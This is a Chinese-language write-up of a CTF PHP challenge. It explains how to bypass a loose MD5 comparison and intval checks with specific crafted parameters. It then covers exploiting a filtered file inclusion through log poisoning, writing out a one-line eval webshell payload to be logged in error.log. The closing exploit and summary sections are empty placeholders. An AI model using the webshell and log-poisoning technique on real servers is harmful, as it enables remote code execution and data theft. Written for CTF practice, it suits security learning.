Problem: [玄武杯 2025]normal_php
思路
-
打开链接得到源代码
<?php highlight_file(__FILE__); error_reporting(0); include 'next.php'; if(isset($_GET['a']) && isset($_POST['c'])){ $a=$_GET['a']; $c=$_POST['c']; parse_str($a,$b); if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){ $num1=$b['num'][0]; $num2=$b['num'][1]; if(in_array(10520,$b['num'])){ echo "记住这个数"; echo "<br>"; }else{ die("这都记不住?"); } if($num2==114514){ die("我不想要这个数字!"); } if(preg_match("/[a-z]/i", $num2)){ die("还想十六进制绕过?"); } if(strpos($num2, "0")){ die("还想八进制绕过?"); } if(intval($num2,0)==114514){ echo "好了你可以去下一关了".$next; }else{ echo "我现在又想要了,嘻嘻"; } }else{ echo "不er,md5你不会"; } }else{ echo "你看看传什么呢"; } 你看看传什么呢 -
源码分析
程序通过$_GET['a']和$_POST['c']接收参数。使用parse_str($a, $b)将$a解析为数组$b。判断$b['cdusec'] !== $c且md5($b['cdusec']) == md5($c)。然后判断$b['num']中是否包含 10520。接着对$num2 = $b['num'][1]进行一系列校验:不等于 114514不能包含字母(十六进制绕过)不能包含 0(八进制绕过)最终通过intval($num2, 0)判断是否等于 114514 -
关键点
md5($b['cdusec']) == md5($c)说明我们可以通过构造两个不同值但 MD5 相同的字符串来绕过这个条件。可以使用哈西碰撞的方式绕过,例如240610708和QNKCDZO的Md5值就想等。因为这里是弱类型比较,也可以使用数组绕过。intval($num2, 0)是一个关键点,它支持多种进制(如 0x 表示十六进制,0 开头表示八进制)。这里会将$num2转换为一个整数,所以也可以使用不带0的小数来绕过strpos($num2, "0")会阻止任何包含 0 的字符串。PHP 的 strpos 函数检测的是字符串中的字符,不是数值。所以strpos("0337522", "0") 返回 0(位置),而不是 true,在 PHP 中,0 在布尔上下文中被视为 false,但非零值被视为 true。而在intval("0337522", 0) 会正确识别为八进制并转换为十进制 114514
-
因此传入的正确参数应为:
get /?a=cdusec%3D240610708%26num%5B0%5D%3D10520%26num%5B1%5D%3D0337522 post c=QNKCDZO 或者 get /?a=cdusec[]=1&num[]=10520&num[]=114514.1到此成功进入下一关:

-
下一关的源码为:
<?php #flag在/flag中,试着读读? error_reporting(0); if(isset($_GET['filename'])){ $file=$_GET['filename']; if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){ include($file); } }else{ highlight_file(__FILE__); }明显的文件包含,有过滤关键字。过滤了很多协议,并且过滤了
=、,、"等字符,可以尝试包含日志文件写木马来实现。apache2日志文件路径/var/log/apache2/access.log,如果包含成功则可以在UA中写入一句话木马(我没有成功)
这里也能用失败日志,如果访问不存在的php文件就会计入error.log日志
我们可以构造一个以一句话木马为文件名的不存在的页面
/<?php eval($_POST[1]);?>.php 记得需要url编码然后在访问错误日志


EXP
- 具体攻击代码
总结
- 对该题的考点总结
